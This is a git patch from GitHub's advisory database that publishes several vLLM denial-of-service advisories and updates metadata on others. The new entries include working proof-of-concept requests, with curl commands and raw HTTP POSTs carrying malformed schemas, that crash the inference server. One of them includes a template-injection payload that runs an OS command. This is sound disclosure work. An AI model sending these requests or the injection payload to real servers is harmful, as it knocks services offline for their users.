From 25be06cbd80b8870bee2cee5b1f1c65a652eb054 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 28 May 2025 19:44:42 +0000 Subject: [PATCH] Publish Advisories GHSA-p493-635q-r6gr GHSA-6qc9-v4r8-22xg GHSA-8r88-6cj9-9fh5 GHSA-9hcf-v7m4-6m2j GHSA-cm76-qm8v-3j95 GHSA-vrq3-r879-7m65 --- .../GHSA-p493-635q-r6gr.json | 3 +- .../GHSA-6qc9-v4r8-22xg.json | 67 +++++++++++++++++++ .../GHSA-8r88-6cj9-9fh5.json | 8 ++- .../GHSA-9hcf-v7m4-6m2j.json | 67 +++++++++++++++++++ .../GHSA-cm76-qm8v-3j95.json | 5 +- .../GHSA-vrq3-r879-7m65.json | 59 ++++++++++++++++ 6 files changed, 202 insertions(+), 7 deletions(-) create mode 100644 advisories/github-reviewed/2025/05/GHSA-6qc9-v4r8-22xg/GHSA-6qc9-v4r8-22xg.json create mode 100644 advisories/github-reviewed/2025/05/GHSA-9hcf-v7m4-6m2j/GHSA-9hcf-v7m4-6m2j.json create mode 100644 advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json diff --git a/advisories/github-reviewed/2021/03/GHSA-p493-635q-r6gr/GHSA-p493-635q-r6gr.json b/advisories/github-reviewed/2021/03/GHSA-p493-635q-r6gr/GHSA-p493-635q-r6gr.json index cfd1f9adb30..21473e15337 100644 --- a/advisories/github-reviewed/2021/03/GHSA-p493-635q-r6gr/GHSA-p493-635q-r6gr.json +++ b/advisories/github-reviewed/2021/03/GHSA-p493-635q-r6gr/GHSA-p493-635q-r6gr.json @@ -109,7 +109,8 @@ ], "database_specific": { "cwe_ids": [ - "CWE-74" + "CWE-74", + "CWE-94" ], "severity": "MODERATE", "github_reviewed": true, diff --git a/advisories/github-reviewed/2025/05/GHSA-6qc9-v4r8-22xg/GHSA-6qc9-v4r8-22xg.json b/advisories/github-reviewed/2025/05/GHSA-6qc9-v4r8-22xg/GHSA-6qc9-v4r8-22xg.json new file mode 100644 index 00000000000..83616fd8324 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-6qc9-v4r8-22xg/GHSA-6qc9-v4r8-22xg.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6qc9-v4r8-22xg", + "modified": "2025-05-28T19:41:53Z", + "published": "2025-05-28T19:41:53Z", + "aliases": [], + "summary": "vLLM DOS: Remotely kill vllm over http with invalid JSON schema", + "details": "### Summary\nHitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server\n\n\n### Details\nThe following API call \n`(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d '{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}' \n`\nwill provoke a Uncaught exceptions from xgrammer in \n`./lib64/python3.11/site-packages/xgrammar/compiler.py\n`\n\nIssue with more information: https://github.com/vllm-project/vllm/issues/17248\n\n### PoC\nMake a call to vllm with invalid json_scema e.g. `{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}`\n\n`curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d '{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}'\n`\n### Impact\nvllm crashes\n\n\nexample traceback\n```\nERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 333, in run_engine_core\nERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop()\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 367, in run_busy_loop\nERROR 03-26 17:25:01 [core.py:340] outputs = step_fn()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 181, in step\nERROR 03-26 17:25:01 [core.py:340] scheduler_output = self.scheduler.schedule()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py\", line 257, in schedule\nERROR 03-26 17:25:01 [core.py:340] if structured_output_req and structured_output_req.grammar:\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 41, in grammar\nERROR 03-26 17:25:01 [core.py:340] completed = self._check_grammar_completion()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 29, in _check_grammar_completion\nERROR 03-26 17:25:01 [core.py:340] self._grammar = self._grammar.result(timeout=0.0001)\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 456, in result\nERROR 03-26 17:25:01 [core.py:340] return self.__get_result()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 401, in __get_result\nERROR 03-26 17:25:01 [core.py:340] raise self._exception\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/thread.py\", line 58, in run\nERROR 03-26 17:25:01 [core.py:340] result = self.fn(*self.args, **self.kwargs)\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py\", line 120, in _async_create_grammar\nERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compile_json_schema(grammar_spec,\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py\", line 101, in compile_json_schema\nERROR 03-26 17:25:01 [core.py:340] self._handle.compile_json_schema(\nERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is()) is false: Schema should be an object or bool\nERROR 03-26 17:25:01 [core.py:340] \nERROR 03-26 17:25:01 [core.py:340] \nCRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.\n```\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "vllm" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.8.0" + }, + { + "fixed": "0.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg" + }, + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/issues/17248" + }, + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/pull/17623" + }, + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vllm-project/vllm" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-05-28T19:41:53Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-8r88-6cj9-9fh5/GHSA-8r88-6cj9-9fh5.json b/advisories/github-reviewed/2025/05/GHSA-8r88-6cj9-9fh5/GHSA-8r88-6cj9-9fh5.json index 9a30bedad2d..75a3cc5bd84 100644 --- a/advisories/github-reviewed/2025/05/GHSA-8r88-6cj9-9fh5/GHSA-8r88-6cj9-9fh5.json +++ b/advisories/github-reviewed/2025/05/GHSA-8r88-6cj9-9fh5/GHSA-8r88-6cj9-9fh5.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-8r88-6cj9-9fh5", - "modified": "2025-05-27T18:00:17Z", + "modified": "2025-05-28T19:42:23Z", "published": "2025-05-27T18:00:17Z", "aliases": [ "CVE-2025-48370" @@ -40,6 +40,10 @@ "type": "WEB", "url": "https://github.com/supabase/auth-js/security/advisories/GHSA-8r88-6cj9-9fh5" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48370" + }, { "type": "WEB", "url": "https://github.com/supabase/auth-js/pull/1063" @@ -60,6 +64,6 @@ "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2025-05-27T18:00:17Z", - "nvd_published_at": null + "nvd_published_at": "2025-05-27T16:15:32Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-9hcf-v7m4-6m2j/GHSA-9hcf-v7m4-6m2j.json b/advisories/github-reviewed/2025/05/GHSA-9hcf-v7m4-6m2j/GHSA-9hcf-v7m4-6m2j.json new file mode 100644 index 00000000000..be7921c7105 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-9hcf-v7m4-6m2j/GHSA-9hcf-v7m4-6m2j.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-9hcf-v7m4-6m2j", + "modified": "2025-05-28T19:42:12Z", + "published": "2025-05-28T19:42:12Z", + "aliases": [], + "summary": "vLLM allows clients to crash the openai server with invalid regex", + "details": "### Impact\n\nA denial of service bug caused the vLLM server to crash if an invalid regex was provided while using structured output. This vulnerability is similar to [GHSA-6qc9-v4r8-22xg](https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg), but for regex instead of a JSON schema.\n\nIssue with more details: https://github.com/vllm-project/vllm/issues/17313\n\n### Patches\n\n* https://github.com/vllm-project/vllm/pull/17623", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "vllm" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.8.0" + }, + { + "fixed": "0.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-9hcf-v7m4-6m2j" + }, + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/issues/17313" + }, + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/pull/17623" + }, + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vllm-project/vllm" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-05-28T19:42:12Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-cm76-qm8v-3j95/GHSA-cm76-qm8v-3j95.json b/advisories/github-reviewed/2025/05/GHSA-cm76-qm8v-3j95/GHSA-cm76-qm8v-3j95.json index 021a91cd961..1c8b6ba1f8d 100644 --- a/advisories/github-reviewed/2025/05/GHSA-cm76-qm8v-3j95/GHSA-cm76-qm8v-3j95.json +++ b/advisories/github-reviewed/2025/05/GHSA-cm76-qm8v-3j95/GHSA-cm76-qm8v-3j95.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-cm76-qm8v-3j95", - "modified": "2025-05-21T16:53:09Z", + "modified": "2025-05-28T19:44:10Z", "published": "2025-05-21T16:53:09Z", "aliases": [ "CVE-2025-47290" @@ -32,9 +32,6 @@ } ] } - ], - "versions": [ - "2.1.0" ] } ], diff --git a/advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json b/advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json new file mode 100644 index 00000000000..2dc9e2af338 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vrq3-r879-7m65", + "modified": "2025-05-28T19:42:32Z", + "published": "2025-05-28T19:42:32Z", + "aliases": [], + "summary": "vLLM Tool Schema allows DoS via Malformed pattern and type Fields", + "details": "### Summary\nThe vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the \"pattern\" and \"type\" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. \n\n### Details\nThe \"type\" field is expected to be one of: \"string\", \"number\", \"object\", \"boolean\", \"array\", or \"null\". Supplying any other value will cause the worker to crash with the following error:\n\nRuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type \"something_or_nothing\"\n\nThe \"pattern\" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.\n\nFor example, the following inputs will crash the worker:\n\nUnclosed {, [, or (\n\nClosed:{} and []\n\nHere are some of runtime errors on the crash depending on what gets injected:\n\nRuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.\nRuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.\nRuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.\n\n### PoC\nHere is the POST request using the type field to crash the worker. Note the type field is set to \"something\" rather than the expected types it is looking for:\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 579\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n \"model\": \"mistral-nemo-instruct\",\n \"messages\": [{ \"role\": \"user\", \"content\": \"crash via type\" }],\n \"tools\": [\n {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash01\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"a\": {\n \"type\": \"something\"\n }\n }\n }\n }\n }\n ],\n \"tool_choice\": {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash01\",\n \"arguments\": { \"a\": \"test\" }\n }\n },\n \"stream\": false,\n \"max_tokens\": 1\n}\n\nHere is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.\n\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 718\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n \"model\": \"mistral-nemo-instruct\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": \"Crash via Pattern\"\n }\n ],\n \"tools\": [\n {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash02\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"a\": {\n \"type\": \"string\",\n\"pattern\": \"{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}\"\n }\n }\n }\n }\n }\n ],\n \"tool_choice\": {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash02\"\n }\n },\n \"stream\": false,\n \"max_tokens\": 32,\n \"temperature\": 0.2,\n \"top_p\": 1,\n \"n\": 1\n}\n\n### Impact\nBackend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests. \n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/18454", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "vllm" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.8.0" + }, + { + "fixed": "0.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-vrq3-r879-7m65" + }, + { + "type": "WEB", + "url": "https://github.com/vllm-project/vllm/pull/18454" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vllm-project/vllm" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-05-28T19:42:32Z", + "nvd_published_at": null + } +} \ No newline at end of file